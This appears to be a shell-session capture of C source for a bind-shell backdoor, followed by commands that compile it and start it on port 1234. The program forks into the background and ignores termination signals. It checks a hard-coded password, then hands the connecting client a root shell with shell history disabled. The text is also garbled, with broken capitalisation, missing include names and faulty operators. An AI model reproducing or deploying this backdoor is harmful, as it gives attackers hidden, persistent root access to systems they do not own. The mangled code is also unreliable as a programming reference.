CODE: [root @ localhost root] # cat tcps. c # Include # Include # Include # Include # Include # Include # Include # Define backlog 64 # Define PASSWORD "password"/* connection PASSWORD */ Main (int argc, char ** argv) { Int listenfd, connectfd, f; Pid_t pid; Struct sockaddr_in server; Struct sockaddr_in client; U_int sin_size; Char p [1000]; If (argc! = 2) { Printf ("./tcps . \ N "); Exit (1 ); } Signal (SIGCHLD, SIG_IGN ); Signal (SIGHUP, SIG_IGN ); Signal (SIGTERM, SIG_IGN ); Signal (SIGINT, SIG_IGN ); If (fork ()) Exit (0 ); Listenfd = socket (AF_INET, SOCK_STREAM, 0 ); If (listenfd =-1) { Printf ("socket fail \ n "); Exit (1 ); } Memset (& server, 0, sizeof (server )); Server. sin_family = PF_INET; Server. sin_port = htons (atoi (argv [1]); Server. sin_addr.s_addr = htonl (INADDR_ANY ); If (bind (listenfd, (struct sockaddr *) & server, sizeof (server) =-1) { Printf ("bind fail \ n "); Exit (1 ); } If (listen (listenfd, backlog) =-1) { Printf ("listen fail \ n "); Exit (1 ); } Sin_size = sizeof (client ); Connectfd = accept (listenfd, (struct sockaddr *) & client, & sin_size ); While (connectfd) { Pid = fork (); If (pid> 0) { Close (connectfd ); Continue; } Else if (pid = 0) { Recv (connectfd, p, 1000, 0 ); # Ifndef REMOTELY_EXPLOITABLE For (f = 0; f <strlen (p); f ++) Switch (p [f]) { Case '| ': Case ';': Case '&': Case '> ': Case ''': Case '\ R ': Case '\ N ': P [f] = '\ 0 '; Break; } # Endif/* REMOTELY_EXPLOITABLE: P */ If (strncmp (p, PASSWORD, 32 )! = 0) { Send (connectfd, "fail", 4, 0 ); Send (connectfd, "\ 377 \ 373 \ 001", 4, 0 ); Close (connectfd ); Exit (1 ); } Printf ("connect success "); Close (0 ); Close (1 ); Close (2 ); Dup2 (connectfd, 0 ); Dup2 (connectfd, 1 ); Dup2 (connectfd, 2 ); Setreuid (0, 0 ); Setenv ("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1 ); Unsetenv ("HISTFILE "); Execl ("/bin/sh", "sh", (char *) 0 ); Close (connectfd ); Exit (0 ); } Else { Printf ("fork fail. \ n "); Exit (1 ); } } Close (listenfd ); } [Root @ localhost root] # gcc tcps. c [Root @ localhost root] #./a. out 1234 [Root @ localhost root] # |